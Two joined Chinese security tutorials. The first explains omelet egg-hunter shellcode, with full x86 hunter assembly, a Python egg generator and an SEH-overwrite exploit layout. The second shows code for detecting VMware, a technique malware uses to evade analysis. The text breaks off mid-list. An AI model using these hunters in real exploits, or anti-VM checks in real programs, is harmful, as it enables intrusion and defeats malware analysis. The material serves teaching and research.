Shellcode分段执行技术原理

前言

由于在实际溢出利用中,我们可能会遇到内存中没有足够的空间来存放我们的shellcode,但我们又可以控制多块小内存空间的内容,那些此时我们就可使用shellcode分段执行技术来进行利用,这种方法在国外被称为“Omelet Shellcode”,属于egg hunt shellcode的一种形式,它先在用户地址空间中寻找与其相匹配的各个小内存块(egg),然后再将其重构成一块大块的shellcode,最后执行它。此项技术最初是由荷兰著名黑客SkyLined在其主页上公布的(具体代码参见附件),该黑客先前就职于Microsoft,但于2008年初转入Google,同时他也是著名的字母数字型shellcode编码器Alpha2/Alpha3的开发者。

原理分析

将Shellcode拆分成固定大小的多个代码块,各个代码块中包含有其字节大小size,索引值index,标记marker(3 字节)和数据内容data,如图1所示:



图1

当egghunter代码开始执行时,它会在用户内存空间中(0x00000000~0x80000000)搜索这些被标记的小块,然后在内存中重构成最初的shellcode并执行它。而当shellcode执行时,它还会安装SEH以处理访问违例时的情况。若出现访问违例,则SEH handler会将地址与0xFFF进行或运算,然后再加1,相当于进入下一内存页,以跳过不可读取的内存页。如果搜索的内存地址大于0x7FFFFFFF,那么终止搜索,并在内存中重构shellcode用于执行,否则重置栈空间,防止因递归进行异常处理而将栈空间耗尽,它会重新设置SEH handler并继续搜索内存。相应代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
reset_stack:
; 重置栈空间以防止递归进行异常处理时耗尽栈空间,并设置自己的异常处理例程以处理扫描内存时出现的访问违例情况
XOR EAX, EAX ; EAX = 0,并作为计数器
MOV ECX, [FS:EAX] ; ECX = SEH结构链表
find_last_SEH_loop:
MOV ESP, ECX ; ESP = SEH结构
POP ECX ; ECX = 下一个SEH结构指针
CMP ECX, 0xFFFFFFFF ; 判断是否是最后一个SEH结构
JNE find_last_SEH_loop ; 不是则跳走并继续查找
POP EDX ; 最后一个SEH结构中的异常处理例程handler
CALL create_SEH_handler ; 自定义SEH handler

SEH_handler:
POPA ; ESI = [ESP + 4] -> struct exception_info
LEA ESP, [BYTE ESI+0x18] ; ESP = struct exception_info->exception_address
POP EAX ; EAX = exception address 0x????????
OR AX, 0xFFF ; EAX = 0x?????FFF
INC EAX ; EAX = 0x?????FFF + 1 -> next page
JS done ; EAX > 0x7FFFFFFF ===> done
XCHG EAX, EDI ; EDI => next page
JMP reset_stack

当从地址0x00000000开始搜索后,若找到以相匹配的egg_size开头的egg内存块,它会将接下的DWORD值与一个特殊值(3字节的标记值和1字节的0xFF)相异或,如果是我们要找的egg内存块,那么获取的结果会等于内存块的索引号(从0开始),比如第二块egg内存块的这个DWORD值为0xBADA55FE,那么它与0xBADA55FF相异或后值为1。如果不是相匹配的egg内存块,则继续搜索下一字节。对应的代码如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
create_SEH_handler:
PUSH ECX ; 指向下一个SEH结构,这里为0xFFFFFFFF
MOV [FS:EAX], ESP ; 设置当前的SEH为自定义的SEH_handler
CLD ; 清除方向标志位DF,从0开始扫描内存
scan_loop:
MOV AL, egg_size ; EAX = egg_size
egg_size_location equ $-1 - $$
REPNE SCASB ; 从地址0x00000000开始循环扫描以egg_size字节开头的内存块
PUSH EAX ; 找到后保存egg_size
MOV ESI, EDI ; ESI = 相匹配内存块的地址
LODSD ; EAX = II M2 M3 M4,索引值(1字节)与标记值(3字节)
XOR EAX, (marker << 8) + 0xFF ; EAX = (II M2 M3 M4) ^ (FF M2 M3 M4) == egg_index
marker_bytes_location equ $-3 - $$
CMP EAX, BYTE max_index ; 检测EAX值是否小于 max_index
max_index_location equ $-1 - $$
JA reset_stack ; 不是则跳走并继续搜索内存

找到egg内存块后,将内存块大小egg_size与索引值egg_index相乘可得到该内存块在原始shellcode中的偏移egg_offset,然后将它再加上存放shellcode的栈空间起始地址,最后得到绝对地址,并将该egg内存块复制到绝对地址上,直至所有的egg内存块全部复制到栈上,进而在栈上重构出完整的shellcode。其对应代码如下:

1
2
3
4
5
6
7
8
9
 POP     ECX                         ; ECX = egg_size
IMUL ECX ; EAX = egg_size * egg_index == egg_offset
; 这里是有带符号相乘,由于ECX * EAX总小于0x1000000,所以EDX=0
ADD EAX, [BYTE FS:EDX + 8] ; EDI += Bottom of stack == position of egg in shellcode.
XCHG EAX, EDI
copy_loop:
REP MOVSB ; 将匹配的内存块复制到栈空间以重构成完整的shellcode
MOV EDI, ESI ; EDI指向当前匹配内存块的末尾,在拷贝完第一块内存块后继续搜索第二块,
; 以此类推,直至所有的内存块全部搜索到并复制到栈上

最后就是跳到栈底去执行重构后的shellcode:

1
2
3
done:
XOR EAX, EAX ; EAX = 0
CALL [BYTE FS:EAX + 8] ; 从栈中shellcode的起始地址开始执行

这样就完成了对各段egg内存块的搜索,并重构出完整shellcode来执行。
注意:由于此份代码只搜索0x00000000~0x80000000之间的用户内存空间,因此对于开启/3Gb(0x00000000~0xC000000)开关的系统并不适用,若应用在这样的系统上就可能会导致部分egg内存块未搜索到,以致无法正确地执行shellcode。
在2010年8月,由Exploit编写系列教程的作者Peter Van Eeckhoutte编写的egg-to-omelet hunter程序在其博客上公布了(详细源码参见附件),此份程序对原先由SkyLined编写的omelet hunter进行了改进,提高其成功率和稳定性。此份程序先从当前栈桢的末尾 (0x….ffff) 开始搜索,为了避免出现NULL字节,又让egg内存块数量nr_egg加1,因此我们还可以让它与1相比较,然后去搜索保存在eax中的内存块标记tag,此标记类似这样:

1
2
3
4
5
773030<seq>
这里seq = 1 + number_of_remaining_eggs_to_find + 1,比如你有3个egg内存块,那么各块egg对应的tag分别为 :
Egg 1 : 77 30 30 05
Egg 2 : 77 30 30 04
Egg 3 : 77 30 30 03

在搜索过程中,它通过调用NtAccessCheckAndAuditAlarm来判断是否出现访问违例,出错则重新搜索,否则就继续寻找各内存块标记tag,找到后通过rep movsb指令将其复制到edi指向的地址中,进而重组原始shellcode并进行执行。具体源码分析如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
BITS 32 

nr_eggs equ 0x2 ; egg内存块的数量
egg_size equ 0x7b ; 每一egg内存块占127字节

jmp short start

get_target_loc:

push esp
pop edi ; 将栈顶指针esp保存在edi中

or di,0xffff ; edi=0x....ffff,即当前栈桢的末尾
mov edx,edi ; edx=搜索的起始地址
xor eax,eax ; eax清零
mov al,nr_eggs ; eax = 内存块数量
calc_target_loc:
xor esi,esi ; esi=0,作为计数器
mov si,0-(egg_size+20) ; 为每一块egg内存块添加20字节的额外空间

get_target_loc_loop:
dec edi ; 往回遍历搜索当前栈桢
inc esi ; 递增计数器
cmp si,-1 ; 继续往回遍历直到ESI = -1
jnz get_target_loc_loop
dec eax ; 若未找到所有的内存块则跳走并继续循环,
jnz calc_target_loc ; 否则edi就指向了重组shellcode将保存的地址
xor ebx,ebx ; ebx清零,作为计数器
mov bl,nr_eggs+1 ; ebx = nr_eggs + 1,但为了避免出现NULL字节,
; 因此这里从1开始计数
ret

start:
call get_target_loc ; 计算出重组shellcode将保存的栈地址

jmp short search_next_address
find_egg:
dec edx ; 由于下面搜索是以DWORD(4字节)为单位进行字节扫描的
dec edx ; 因此这里需要edx-4
dec edx
dec edx
search_next_address:
inc edx ; 搜索下一字节
push edx ; 保存edx
push byte +0x02
pop eax ; eax = 0x02,功能号,系统调用表可参考下列网址:
; http://www.metasploit.com/users/opcode/syscalls.html
int 0x2e ; 调用NtAccessCheckAndAuditAlarm
cmp al,0x5 ; 判断是否访问违例(0xc0000005== ACCESS_VIOLATION)
pop edx ; 重储edx
je search_next_address ; 如果地址不可读则跳走
mov eax,0x77303001 ; 若可读则将索引值与标记值赋予eax
add eax,ebx ; eax += ebx,这里ebx为egg内存块的计数器,
; 此时eax得到的就是各个内存块开头的标记marker,
; tag=773030<seq>,其中seq = 0x1 + number_of_remaining_eggs_to_find + 0x1,
; 比如0x77303003,0x77303004……

xchg edi,edx ; 交换edi与edx的值
scasd ; 搜索edi中是否存在eax中的标记
xchg edi,edx ; 将edi/edx的值再交换回来
jnz find_egg ; 若未找到相匹配的标记则跳走,否则edx指向找到的egg内存块

copy_egg:
mov esi,edx ; ESI = EDX,保存egg内存块地址到esi留作后用
xor ecx,ecx ; ecx = 0
mov cl,egg_size ; 复制的字节数,相当于每一egg内存块大小
rep movsb ; 从esi复制到edi
dec ebx ; 递增ebx,ebx为内存块计数器
cmp bl,1 ; 判断是否找到所有的egg内存块
jnz find_egg ; 没有则继续搜索

done:
call get_target_loc ; 重新定位重组后shellcode所在的地址
jmp edi ; 执行shellcode

以上分析的两份程序均是对各egg内存块进行搜索的egg-to-omelet hunter程序,SkyLined还提供了另一份代码用于将shellcode进行分段,构造出各段egg内存块数据,其文件名为w32_SEH_omelet.py,是用Python编写的。它主要是遵循SkyLined在w32_SEH_omelet.asm代码中所提到的算法进行计算,以获取各块egg中的字节大小size,索引值index,标记值marker(默认为0x280876),以及各egg中的部分shellcode代码,每块egg的大小是固定的(默认为127字节),不足的用’@’(0x40)填充。其核心代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
def Main(my_name, bin_file, shellcode_file, output_file, egg_size = '0x7F', marker_bytes = '0x280876'):
if (marker_bytes.startswith('0x')): # 判断标记marker_bytes是否以0x开头
marker_bytes = int(marker_bytes[2:], 16) # 以16为基数(十六进制)进行整数转换
else:
marker_bytes = int(marker_bytes) # 以10为基数(十进制)进行整数转换
if (egg_size.startswith('0x')):
egg_size = int(egg_size[2:], 16)
else:
egg_size = int(egg_size)
assert marker_bytes <= 0xFFFFFF, 'Marker must fit into 3 bytes.'
assert egg_size >= 6, 'Eggs cannot be less than 6 bytes.'
assert egg_size <= 0x7F, 'Eggs cannot be more than 0x7F (127) bytes.'

bin = open(bin_file).read() # 读取bin_file文件,即负责搜索egg的bin文件
marker_bytes_location = ord(bin[-3]) # 标记值marker
max_index_location = ord(bin[-2]) # 索引值index
egg_size_location = ord(bin[-1]) # 各egg内存块所占的字节数
code = bin[:-3] # 用于存放分段后的部分shellcode代码

shellcode = open(shellcode_file).read()

max_index = int(math.ceil(len(shellcode) / (egg_size - 5.0))) # 计算出每块egg的最大索引值,并要求其必须<=0xFF
assert max_index <= 0xFF, ('The shellcode would require %X (%d) eggs of %X '
'(%d) bytes, but 0xFF (255) is the maximum number of eggs.') % (
max_index, max_index, egg_size, egg_size)

marker_bytes_string = ''
for i in range(0,3):
marker_bytes_string += chr(marker_bytes & 0xFF) # 将标记值与0xFF进行与运算
marker_bytes >>= 8 # 右移8位,相当于将标记值转换成0x280876ff

max_index_string = chr(max_index)
egg_size_string = chr(egg_size - 5) # 扣去字节大小(1字节),索引值(1字节)和标记(3字节)所占用的5字节
# insert variables into code
code = code[:marker_bytes_location] + marker_bytes_string + code[marker_bytes_location+3:]
code = code[:max_index_location] + max_index_string + code[max_index_location+1:]
code = code[:egg_size_location] + egg_size_string + code[egg_size_location+1:]
output = [
'// This is the binary code that needs to be executed to find the eggs, ',
'// recombine the orignal shellcode and execute it. It is %d bytes:' % (
len(code),),
'omelet_code = "%s";' % HexEncode(code),
'',
'// These are the eggs that need to be injected into the target process ',
'// for the omelet shellcode to be able to recreate the original shellcode',
'// (you can insert them as many times as you want, as long as each one is',
'// inserted at least once). They are %d bytes each:' % (egg_size,) ]
egg_index = 0
while shellcode:
egg = egg_size_string + chr(egg_index ^ 0xFF) + marker_bytes_string
egg += shellcode[:egg_size - 5] # 构造出完整的egg内存块:size + index + marker + shellcode
if len(egg) < egg_size:
# tail end of shellcode is smaller than an egg: add pagging:
egg += '@' * (egg_size - len(egg)) # 每块egg的大小是固定的(默认为127字节),不足的用'@'(0x40)填充
output.append('egg%d = "%s";' % (egg_index, HexEncode(egg)))
shellcode = shellcode[egg_size - 5:]
egg_index += 1
open(output_file, 'w').write('\n'.join(output)) # 写入输出文件output_file

使用方法

关于使用方法,其实很简单,使用命令如下:
C:\Users\riusksk> w32_SEH_omelet.py w32_SEH_omelet.bin shellcode.bin output.txt 127 0xBADA55
它需要先生成两个bin文件,一个是shellcode.bin,还有一个用于egg搜索的w32_SEH_omelet.bin,这里用Peter Van Eeckhoutte编写的egg-to-omelet hunter程序来生成bin文件以代替w32_SEH_omelet.bin也是可以的。关于shellcode.bin,你可以先用metasploit先生成shellcode,然后用perl/python将shellcode写入一个bin文件即可;而w32_SEH_omelet.bin可直接用nasm去编译SkyLined的w32_SEH_omelet.asm或者Peter Van Eeckhoutte写的corelanc0d3r_omelet.asm从而得到此bin文件。Output.txt是输出文件,用来保存生成各个egg以及omelet代码,后面的127是每一块egg内存块的字节数,而0xBADA55是标记值,你也可采用其它3字节数据,比如w00(0x773030),最后生成的输出文件内容类似如下:

1
2
3
4
5
6
7
8
9
10
11
// This is the binary code that needs to be executed to find the eggs, 
// recombine the orignal shellcode and execute it. It is 82 bytes:
omelet_code = "\x31\xFF\xEB\x23\x51\x64\x89\x20\xFC\xB0 ... \xFF\x50\x08";

// These are the eggs that need to be injected into the target process
// for the omelet shellcode to be able to recreate the original shellcode
// (you can insert them as many times as you want, as long as each one is
// inserted at least once). They are 127 bytes each:
egg0 = "\x3B\xFF\x76\x08\x28\x33\xC9\x64\x8B\x71\x30\x8B ... \x57\x51\x57";
egg1 = "\x3B\xFE\x76\x08\x28\x8D\x7E\xEA\xB0\x81\x3C\xD3 ... \x24\x03\xCD";
egg2 = "\x3B\xFD\x76\x08\x28\x0F\xB7\x3C\x79\x8B\x4B\x1C ... \x47\xF1\x01";

生成文件后我们就可以在实际漏洞利用中构造出类似下面这样的exploit:

1
【junk】【nseh(jmp 06)】【seh(pop pop ret)】【nops】【omelet_code】【junk】【egg0】【junk】【egg1】【junk】【egg2】

不过具体的实际漏洞利用还得受一些操作环境影响,得视具体情况进行变化,同时还需要一点运气!

结语

本文就Omelet Shellcode进行简单地分析,阐述了shellcode分段执行技术的基本原理,并对其使用进行简单的讲解,以帮助大家更好地理解并应用好Omelet Shellcode。在本文是笔者只是起到了一个抛砖引玉的作用,关于shellcode的编写还有很多技术性,同时也需要一定的艺术性,这些都需要靠大家共同来打造和分享,如果你有更多关于这方面的资料和技术,希望可以跟我分享’

虚拟机检测技术剖析

前言

在当今信息安全领域,特别是恶意软件分析中,经常需要利用到虚拟机技术,以提高病毒分析过程的安全性以及硬件资源的节约性,因此它在恶意软件领域中是应用越来越来广泛。这里我们所谓的虚拟机(Virtual Machine)是指通过软件模拟的具有完整硬件系统功能的、运行在一个完全隔离环境中的完整计算机系统。通过虚拟机软件(比如VMware,Virtual PC ,VirtualBox),你可以在一台物理计算机上模拟出一台或多台虚拟的计算机,这些虚拟机完全就像真正的计算机那样进行工作,例如你可以安装操作系统、安装应用程序、访问网络资源等等。攻击者为了提高恶意程序的隐蔽性以及破坏真实主机的成功率,他们都在恶意程序中加入检测虚拟机的代码,以判断程序所处的运行环境。当发现程序处于虚拟机(特别是蜜罐系统)中时,它就会改变操作行为或者中断执行,以此提高反病毒人员分析恶意软件行为的难度。本文主要针对基于Intel CPU的虚拟环境VMware中的Windows XP SP3系统进行检测分析,并列举出当前常见的几种虚拟机检测方法。

方法一:通过执行特权指令来检测虚拟机

Vmware为真主机与虚拟机之间提供了相互沟通的通讯机制,它使用“IN”指令来读取特定端口的数据以进行两机通讯,但由于IN指令属于特权指令,在处于保护模式下的真机上执行此指令时,除非权限允许,否则将会触发类型为“EXCEPTION_PRIV_INSTRUCTION”的异常,而在虚拟机中并不会发生异常,在指定功能号0A(获取VMware版本)的情况下,它会在EBX中返回其版本号“VMXH”;而当功能号为0x14时,可用于获取VMware内存大小,当大于0时则说明处于虚拟机中。VMDetect正是利用前一种方法来检测VMware的存在,其检测代码分析如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
bool IsInsideVMWare()
{
bool rc = true;

__try
{
__asm
{
push edx
push ecx
push ebx

mov eax, 'VMXh'
mov ebx, 0 // 将ebx设置为非幻数’VMXH’的其它值
mov ecx, 10 // 指定功能号,用于获取VMWare版本,当它为0x14时用于获取VMware内存大小
mov edx, 'VX' // 端口号
in eax, dx // 从端口dx读取VMware版本到eax
//若上面指定功能号为0x14时,可通过判断eax中的值是否大于0,若是则说明处于虚拟机中
cmp ebx, 'VMXh' // 判断ebx中是否包含VMware版本’VMXh’,若是则在虚拟机中
setz [rc] // 设置返回值

pop ebx
pop ecx
pop edx
}
}
__except(EXCEPTION_EXECUTE_HANDLER) //如果未处于VMware中,则触发此异常
{
rc = false;
}

return rc;
}

测试结果:



图1

如图1所示,VMDetect成功检测出VMWare的存在。

方法二:利用IDT基址检测虚拟机

利用IDT基址检测虚拟机的方法是一种通用方式,对VMware和Virtual PC均适用。中断描述符表IDT(Interrupt Descriptor Table)用于查找处理中断时所用的软件函数,它是一个由256项组成的数据,其中每一中断对应一项函数。为了读取IDT基址,我们需要通过SIDT指令来读取IDTR(中断描述符表寄存器,用于IDT在内存中的基址),SIDT指令是以如下格式来存储IDTR的内容:

1
2
3
4
5
6
typedef struct
{
WORD IDTLimit; // IDT的大小
WORD LowIDTbase; // IDT的低位地址
WORD HiIDTbase; // IDT的高位地址
} IDTINFO;

由于只存在一个IDTR,但又存在两个操作系统,即虚拟机系统和真主机系统。为了防止发生冲突,VMM(虚拟机监控器)必须更改虚拟机中的IDT地址,利用真主机与虚拟机环境中执行sidt指令的差异即可用于检测虚拟机是否存在。著名的“红丸”(redpill)正是利用此原理来检测VMware的。Redpill作者在VMware上发现虚拟机系统上的IDT地址通常位于0xFFXXXXXX,而Virtual PC通常位于0xE8XXXXXX,而在真实主机上正如图2所示都位于0x80xxxxxx。Redpill仅仅是通过判断执行SIDT指令后返回的第一字节是否大于0xD0,若是则说明它处于虚拟机,否则处于真实主机中。Redpill的源码甚是精简,源码分析如下:

1
2
3
4
5
6
7
8
9
10
11
12
#include <stdio.h>
int main () {

unsigned char m[2+4], rpill[] = "\x0f\x01\x0d\x00\x00\x00\x00\xc3"; //相当于SIDT[adrr],其中addr用于保存IDT地址
*((unsigned*)&rpill[3]) = (unsigned)m; //将sidt[addr]中的addr设为m的地址
((void(*)())&rpill)(); //执行SIDT指令,并将读取后IDT地址保存在数组m中

printf ("idt base: %#x\n", *((unsigned*)&m[2])); //由于前2字节为IDT大小,因此从m[2]开始即为IDT地址
if (m[5]>0xd0) printf ("Inside Matrix!\n", m[5]); //当IDT基址大于0xd0xxxxxx时则说明程序处于VMware中
else printf ("Not in Matrix.\n");
return 0;
}

测试结果如图2所示:



图2

利用此IDT检测的方法存在一个缺陷,由于IDT的值只针对处于正在运行的处理器而言,在单CPU中它是个常量,但当它处于多CPU时就可能会受到影响了,因为每个CPU都有其自己的IDT,这样问题就自然而然的产生了。针对此问题,Offensive Computing组织成员提出了两种应对方法,其中一种方法就是利用Redpill反复地在系统上循环执行任务,以此构造出一张当前系统的IDT值变化统计图,但这会增加CPU负担;另一种方法就是windows API函数SetThreadAffinityMask()将线程限制在单处理器上执行,当执行此测试时只能准确地将线程执行环境限制在本地处理器,而对于将线程限制在VM处理器上就可能行不通了,因为VM是计划在各处理器上运行的,VM线程在不同的处理器上执行时,IDT值将会发生变化,因此此方法也是很少被使用的。为此,有人提出了使用LDT的检测方法,它在具有多个CPU的环境下检测虚拟机明显优于IDT检测方法,该方法具体内容参见下节内容。

方法三:利用LDT和GDT的检测方法

在 《Intel® 64 and IA-32 Architecture Software Developer’s Manual Volume 3A: System Programming Guide》第二章的Vol.3 2-5 一页(我的Intel开发手册是2008版的)中对于LDT和GDT的描述如下(以下内容为个人翻译):

在保护模式下,所有的内存访问都要通过全局描述符表(GDT)或者本地描述符表(LDT)才能进行。这些表包含有段描述符的调用入口。各个段描述符都包含有各段的基址,访问权限,类型和使用信息,而且每个段描述符都拥有一个与之相匹配的段选择子,各个段选择子都为软件程序提供一个GDT或LDT索引(与之相关联的段描述符偏移量),一个全局/本地标志(决定段选择子是指向GDT还是LDT),以及访问权限信息。
若想访问段中的某一字节,必须同时提供一个段选择子和一个偏移量。段选择子为段提供可访问的段描述符地址(在GDT 或者LDT 中)。通过段描述符,处理器从中获取段在线性地址空间里的基址,而偏移量用于确定字节地址相对基址的位置。假定处理器在当前权限级别(CPL)可访问这个段,那么通过这种机制就可以访问在GDT 或LDT 中的各种有效代码、数据或者堆栈段,这里的CPL是指当前可执行代码段的保护级别。
……
GDT的线性基址被保存在GDT寄存器(GDTR)中,而LDT的线性基址被保存在LDT寄存器(LDTR)中。

由于虚拟机与真实主机中的GDT和LDT并不能相同,这与使用IDT的检测方法一样,因此虚拟机必须为它们提供一个“复制体”。关于GDT和LDT的基址可通过SGDT和SLDT指令获取。虚拟机检测工具Scoopy suite的作者Tobias Klein经测试发现,当LDT基址位于0x0000(只有两字节)时为真实主机,否则为虚拟机,而当GDT基址位于0xFFXXXXXX时说明处于虚拟机中,否则为真实主机。具体实现代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
#include <stdio.h>

void LDTDetect(void)
{
unsigned short ldt_addr = 0;
unsigned char ldtr[2];

_asm sldt ldtr
ldt_addr = *((unsigned short *)&ldtr);
printf("LDT BaseAddr: 0x%x\n", ldt_addr);

if(ldt_addr == 0x0000)
{
printf("Native OS\n");
}
else
printf("Inside VMware\n");
}

void GDTDetect(void)
{
unsigned int gdt_addr = 0;
unsigned char gdtr[4];

_asm sgdt gdtr
gdt_addr = *((unsigned int *)&gdtr[2]);
printf("GDT BaseAddr:0x%x\n", gdt_addr);

if((gdt_addr >> 24) == 0xff)
{
printf("Inside VMware\n");
}
else
printf("Native OS\n");
}

int main(void)
{
LDTDetect();
GDTDetect();
return 0;
}

测试结果如图3所示:



图3

方法四:基于STR的检测方法

在保护模式下运行的所有程序在切换任务时,对于当前任务中指向TSS的段选择器将会被存储在任务寄存器中,TSS中包含有当前任务的可执行环境状态,包括通用寄存器状态,段寄存器状态,标志寄存器状态,EIP寄存器状态等等,当此项任务再次被执行时,处理器就会其原先保存的任务状态。每项任务均有其自己的TSS,而我们可以通过STR指令来获取指向当前任务中TSS的段选择器。这里STR(Store task register)指令是用于将任务寄存器 (TR) 中的段选择器存储到目标操作数,目标操作数可以是通用寄存器或内存位置,使用此指令存储的段选择器指向当前正在运行的任务的任务状态段 (TSS)。在虚拟机和真实主机之中,通过STR读取的地址是不同的,当地址等于0x0040xxxx时,说明处于虚拟机中,否则为真实主机。实现代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#include <stdio.h>
int main(void)
{
unsigned char mem[4] = {0};
int i;

__asm str mem;
printf (" STR base: 0x");
for (i=0; i<4; i++)
{
printf("%02x",mem[i]);
}

if ( (mem[0]==0x00) && (mem[1]==0x40))
printf("\n INSIDE MATRIX!!\n");
else
printf("\n Native OS!!\n");
return 0;
}

测试结果如图4所示:



图4

方法五:基于注册表检测虚拟机

在windows虚拟机中常常安装有VMware Tools以及其它的虚拟硬件(如网络适配器、虚拟打印机,USB集线器……),它们都会创建任何程序都可以读取的windows注册表项,因此我们可以通过检测注册表中的一些关键字符来判断程序是否处于虚拟机之中。关于这些注册表的位置我们可以通过在注册表中搜索关键词“vmware”来获取,下面是我在VMware下的WinXP中找到的一些注册表项:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
项名:HKEY_CLASSES_ROOT\Applications\VMwareHostOpen.exe
项名:HKEY_CLASSES_ROOT\Installer\Products\C2A6F2EFE6910124C940B2B12CF170FE\ProductName
键值“VMware Tools”
项名:HKEY_CLASSES_ROOT\Installer\Products\C2A6F2EFE6910124C940B2B12CF170FE\SourceList\PackageName
键值:VMware Tools.msi
项名:HKEY_CURRENT_USER\Printers\DeviceOld
键值:_#VMwareVirtualPrinter,winspool,TPVM:
项名:HKEY_LOCAL_MACHINE\HARDWARE\DEVICEMAP\Scsi\Scsi Port 0\Scsi Bus 0\Target Id 0\Logical Unit Id 0\Identifier
键值:VMware Virtual IDE Hard Drive
项名:HKEY_LOCAL_MACHINE\HARDWARE\DEVICEMAP\Scsi\Scsi Port 1\Scsi Bus 0\Target Id 0\Logical Unit Id 0\Identifier
键值:NECVMWar VMware IDE CDR10
项名:HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Installer\Products\C2A6F2EFE6910124C940B2B12CF170FE\ProductName
键值:VMware Tools
项名:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\C2A6F2EFE6910124C940B2B12CF170FE\InstallProperties\DisplayName
键值:VMware Tools
项名:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Reinstall\0002\DeviceDesc
键值:VMware SVGA II
项名:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\NetworkCards\2\Description
键值:VMware Accelerated AMD PCNet Adapter
项名:HKEY_LOCAL_MACHINE\SOFTWARE\VMware, Inc.\VMware Tools
项名:HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc
键值:VMware SVGA II
项名:HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-
08002BE10318}\0000\ProviderName
键值:VMware, Inc.
项名:HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E972-E325-11CE-BFC1-08002bE10318}\0001\DriverDesc
键值:VMware Accelerated AMD PCNet Adapter
项名:HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E97B-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc
键值:VMware SCSI Controller
项名:HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Print\Monitors\ThinPrint Print Port Monitor for VMWare

除以上这些表项之外,还有很多地方可以检测,特别是虚拟机提供的虚拟化软硬件、服务之类,比如文件共享服务,VMware 物理磁盘助手服务,VMware Ethernet Adapter Driver,VMware SCSI Controller等等的这些信息都可作为检测虚拟机的手段。这里我们就以其中某表项为例编程举例一下,其它表项检测方法同理,具体代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
.386
.model flat, stdcall
option casemap:none

include windows.inc
include user32.inc
include kernel32.inc
include advapi32.inc

includelib user32.lib
includelib kernel32.lib
includelib advapi32.lib

.data
szCaption db "VMware Detector ",0
szInside db "Inside VMware!",0
szOutside db "Native OS!",0
szSubKey db "software\VMWare, Inc.\VMware tools",0
hKey dd ?

.code
start:
invoke RegOpenKeyEx, HKEY_LOCAL_MACHINE, addr szSubKey, 0,\
KEY_WRITE or KEY_READ, addr hKey
.if eax == ERROR_SUCCESS
invoke MessageBox, NULL,addr szInside, addr szCaption, MB_OK
.else
invoke MessageBox, NULL,addr szOutside, addr szCaption, MB_OK
.endif
invoke RegCloseKey,hKey
invoke ExitProcess,NULL
end start

测试结果如图5所示:



图5

方法六:基于时间差的检测方式

本方法通过运行一段特定代码,然后比较这段代码在虚拟机和真实主机之中的相对运行时间,以此来判断是否处于虚拟机之中。这段代码我们可以通过RDTSC指令来实现,RDTSC指令是用于将计算机启动以来的CPU运行周期数存放到EDX:EAX里面,其中EDX是高位,而EAX是低位。下面我们以xchg ecx, eax 一句指令的运行时间为例,这段指令在我的真实主机windows 7系统上的运行时间为0000001E,如图6所示:



图6

而该指令在虚拟机WinXP下的运行时间为00000442,如图7所示:



图7

两者之间的运行时间明显差别很多,在虚拟机中的运行速度远不如真实主机的,一般情况下,当它的运行时间大于0xFF时,就可以确定它处于虚拟机之中了,因此不难写出检测程序,具体实现代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
.586p
.model flat, stdcall
option casemap:none

include windows.inc
include kernel32.inc
include user32.inc

includelib kernel32.lib
includelib user32.lib


.data
szTitle db "VMDetect With RDTSC", 0h
szInsideVM db "Inside VMware!", 0h
szOutsideVM db "Native OS!", 0h

.code

start:
RDTSC
xchg ecx, eax
RDTSC
sub eax, ecx
cmp eax, 0FFh
jg Detected

invoke MessageBox, 0, offset szOutsideVM, offset szTitle, 0
ret

Detected:
invoke MessageBox, 0, offset szInsideVM, offset szTitle, 0
ret
end start

测试结果如图8所示:



图8

方法七:利用虚拟硬件指纹检测虚拟机

利用虚拟硬件指纹也可用于检测虚拟机的存在,比如VMware默认的网卡MAC地址前缀为“00-05-69,00-0C-29或者00-50-56”,这前3节是由VMware分配的唯一标识符OUI,以供它的虚拟化适配器使用。在我的VMWare WinXP下的MAC地址为00-0C-29-5B-D7-67,如图9所示:



图9

但由于这些可经过修改配置文件来绕过检测。另外,还可通过检测特定的硬件控制器,BIOS,USB控制器,显卡,网卡等特征字符串进行检测,这些在前面使用注册表检测方法中已有所涉及。另外之前在看雪论坛上也有朋友提到通过检测硬盘Model Number是否含有“vmware”或“virtual”等字样来实现检测虚拟机的功能,网址见这(附源码):http://bbs.pediy.com/showthread.php?t=110046。

总结

国外SANS安全组织的研究人员总结出当前各种虚拟机检测手段不外乎以下四类:

● 搜索虚拟环境中的进程,文件系统,注册表;
● 搜索虚拟环境中的内存
